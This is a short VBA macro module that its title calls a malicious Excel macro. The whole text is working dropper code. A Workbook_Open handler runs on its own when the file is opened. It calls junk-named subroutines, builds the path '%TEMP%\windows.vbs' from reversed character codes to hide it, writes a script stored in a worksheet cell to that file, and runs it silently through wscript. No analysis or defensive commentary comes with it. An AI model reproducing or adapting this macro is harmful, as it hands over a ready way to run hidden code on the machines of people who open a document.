Malicious Excel macro

Attribute VB_Name = "Ёта нига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub yyyTFGGf()
    sdfdfsdfdsf
End Sub
Sub fdgfdgdfg()
    yyyTFGGf
End Sub
Sub Workbook_Open()
    yyyTFGGf
End Sub
Sub sdfdfsdfdsf()

Dim iKJINJdg
iKJINJdg = StrReverse(Chr$(115) & Chr$(98) & Chr$(118) & Chr$(46) & Chr$(115) & Chr$(119) & Chr$(111) & Chr$(100) & Chr$(110) & Chr$(105) & Chr$(119) & Chr$(92) & Chr$(37) & Chr$(80) & Chr$(77) & Chr$(69) & Chr$(84) & Chr$(37))

'==================================================
Dim hgGVIKJ
Set hgGVIKJ = CreateObject("WScript.Shell")

iKJINJdg = hgGVIKJ.ExpandEnvironmentStrings(iKJINJdg)

Set s = CreateObject("ADODB.Stream")
s.Mode = 3
s.Type = 2
s.Open
s.WriteText Worksheets("Excel").Range("D20").Value
Call s.SaveToFile(iKJINJdg, 2)
hgGVIKJ.Run "wscript """ & iKJINJdg & """", 0, 0

End Sub